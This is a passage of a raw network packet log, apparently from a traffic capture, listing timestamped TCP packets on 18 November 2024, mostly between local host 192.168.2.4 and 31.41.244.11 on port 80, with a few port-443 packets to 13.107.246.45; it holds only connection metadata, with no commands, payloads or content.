Nov 18, 2024 23:04:14.457587004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457628012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457645893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457696915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457726002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457757950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457763910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457798004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457806110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457807064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457830906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457865000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457875013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457875013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457899094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457920074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457931995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.457957029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.457981110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458172083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458214998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458250046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458257914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458275080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458301067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458312988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458345890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458369017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458379984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.458403111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.458446026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497108936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497189999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497203112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497230053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497250080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497282982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497301102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497317076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497337103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497350931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497375011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497386932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497397900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497422934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497443914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497481108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497622013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497654915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497689009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497700930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497700930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497724056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497746944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497760057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.497786045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.497807980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498018026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498051882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498085022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498094082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498094082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498119116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498143911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498155117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498179913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498188019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498219013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498224020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498245955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498259068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498279095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498292923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498311043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498362064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498656034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498689890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498723030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498732090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498756886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498756886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498774052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498790979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498814106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498821020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498847008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498857021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498874903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498891115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498912096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.498925924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.498948097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499000072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499170065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499202013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499228001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499253988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499279976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499332905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499392033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499425888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499450922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499463081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499485016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499501944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499509096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499538898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499557018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499593973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499736071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499769926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499802113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499811888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499811888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499835014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499860048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499870062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499882936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499902964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.499926090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.499953985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500102043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500137091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500159979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500181913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500248909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500282049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500307083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500335932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500340939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500370979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500392914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500406981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500439882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500442982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500473022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500477076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500502110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500514030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500525951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500549078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.500567913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.500610113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501033068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501084089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501095057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501118898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501137018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501152039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501173019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501185894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501219034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501233101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501234055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501254082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501272917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501287937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501308918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501322031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501339912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501355886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501377106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501391888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501405954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501501083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501737118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501765966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501797915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501811981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501811981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501843929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501851082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501883984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501909018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501918077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501936913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501951933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.501981020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.501986027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502001047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502021074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502046108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502057076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502063036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502087116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502110004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502134085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502501011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502561092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502645969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502680063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502706051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502713919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502728939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502748013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502764940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502782106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502810001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502815008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502846003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502849102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502865076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502882957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502907991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502914906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502926111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.502948999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.502970934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503006935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503462076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503495932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503526926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503546953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503546953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503582954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503603935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503616095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503628969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503649950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503667116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503684044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503704071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503717899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503731966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503750086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503768921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503782988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503804922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503815889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.503833055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.503869057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504410028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504446983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504476070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504477024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504501104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504511118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504523039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504547119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504563093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504580975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504601002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504615068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504641056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504652023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.504661083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.504703999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518059969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518161058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518188953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518196106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518209934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518229961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518254995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518265963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518318892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518318892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518367052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518371105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518404961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518420935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518420935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518440962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518465996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518476963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.518501043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.518556118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.550064087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550097942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550131083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550163984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550196886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550231934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550268888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.550273895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.550314903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.550337076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.553965092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.554040909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.556174040 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.556749105 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.556767941 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.557204962 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.557209969 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.576966047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577064037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577097893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577117920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577150106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577150106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577150106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577183962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577208996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577219963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577234983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577267885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577418089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577451944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577481031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577488899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577507973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577545881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577656984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577689886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577721119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577724934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577742100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577760935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577771902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577795982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577830076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.577843904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577843904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.577867985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578035116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578063965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578095913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578102112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578102112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578130007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578150988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578167915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578249931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578282118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578304052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578316927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578320980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578353882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578371048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578408003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578481913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578511000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.578541994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.578558922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617378950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617527008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617537022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.617563009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617602110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.617602110 CET	49794	80	192.168.2.4	31.41.244.11
